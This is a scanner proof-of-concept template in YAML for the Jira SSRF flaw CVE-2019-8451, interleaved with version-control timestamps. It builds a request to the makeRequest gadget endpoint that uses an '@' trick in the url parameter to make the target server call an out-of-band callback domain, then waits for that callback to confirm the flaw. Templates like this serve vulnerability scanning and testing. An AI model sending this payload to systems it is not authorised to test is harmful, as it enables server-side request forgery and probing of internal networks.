2021-11-16 11:53:46 +08:00
|
|
|
name: poc-yaml-jira-ssrf-cve-2019-8451
|
|
|
|
|
set:
|
2023-05-05 18:08:13 +08:00
|
|
|
reverse: newReverse()
|
2021-11-16 11:53:46 +08:00
|
|
|
originScheme: request.url.scheme
|
|
|
|
|
originHost: request.url.host
|
2023-05-05 23:31:28 +08:00
|
|
|
reverseURL: reverse.domain
|
2021-11-16 11:53:46 +08:00
|
|
|
rules:
|
|
|
|
|
- method: GET
|
|
|
|
|
path: >-
|
2023-05-05 23:31:28 +08:00
|
|
|
/plugins/servlet/gadgets/makeRequest?url={{originScheme}}://{{originHost}}@{{reverseURL}}
|
2021-11-16 11:53:46 +08:00
|
|
|
headers:
|
|
|
|
|
X-Atlassian-Token: no-check
|
|
|
|
|
expression: |
|
|
|
|
|
reverse.wait(5)
|
|
|
|
|
detail:
|
|
|
|
|
author: jingling(https://github.com/shmilylty)
|
|
|
|
|
links:
|
|
|
|
|
- https://jira.atlassian.com/browse/JRASERVER-69793
|
